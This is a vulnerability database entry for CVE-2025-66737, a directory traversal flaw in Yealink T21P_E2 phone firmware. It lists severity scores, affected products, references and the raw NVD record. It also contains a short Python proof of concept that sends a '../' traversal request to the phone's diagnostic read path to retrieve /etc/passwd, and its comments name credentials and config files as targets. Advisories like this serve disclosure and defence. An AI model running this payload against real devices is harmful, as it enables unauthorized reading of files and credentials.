CVE-2025-66737

Description

Yealink T21P_E2 Phone 52.84.0.15 is vulnerable to Directory Traversal. A remote normal privileged attacker can read arbitrary files via a crafted request result read function of the diagnostic component.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:yealink:sip-t21\(p\)e2_firmware:52.84.0.15:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:yealink:sip-t21\(p\)e2:-:*:*:*:*:*:*:* - NOT VULNERABLE

Yealink T21P_E2 Phone 固件 <= 52.84.0.15

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-66737 PoC - Yealink T21P_E2 Phone Directory Traversal
# Target: Yealink T21P_E2 Phone (Firmware <= 52.84.0.15)

target_ip = "<target_ip>"
# Construct path traversal payload to read sensitive files
# Common targets: /etc/passwd, config files, credentials
payload = "/..//..//..//..//..//..//etc/passwd"

url = f"http://{target_ip}/diagnostic/read{payload}"

try:
    response = requests.get(url, timeout=10)
    if response.status_code == 200:
        print(f"[+] File content retrieved:")
        print(response.text)
    else:
        print(f"[-] Request failed with status: {response.status_code}")
except requests.exceptions.RequestException as e:
    print(f"[-] Connection error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66737
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66737
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66737/
[4] VulDB https://vuldb.com/cve/CVE-2025-66737
[5] http://yealink.com
[6] https://drive.google.com/file/d/1MpxnCL4koKupqWWDmY3ljlybjIPD8ieD/view?usp=sharing

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66737", "sourceIdentifier": "[email protected]", "published": "2025-12-26T17:15:44.090", "lastModified": "2026-01-09T20:35:06.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Yealink T21P_E2 Phone 52.84.0.15 is vulnerable to Directory Traversal. A remote normal privileged attacker can read arbitrary files via a crafted request result read function of the diagnostic component."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:yealink:sip-t21\\(p\\)e2_firmware:52.84.0.15:*:*:*:*:*:*:*", "matchCriteriaId": "E5998ED6-1C8F-4EF7-89D8-DC77D6D09348"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:yealink:sip-t21\\(p\\)e2:-:*:*:*:*:*:*:*", "matchCriteriaId": "4A65E5A2-5383-491F-9ACA-54A482457A95"}]}]}], "references": [{"url": "http://yealink.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://drive.google.com/file/d/1MpxnCL4koKupqWWDmY3ljlybjIPD8ieD/view?usp=sharing", "source": "[email protected]", "tags": ["Exploit"]}]}}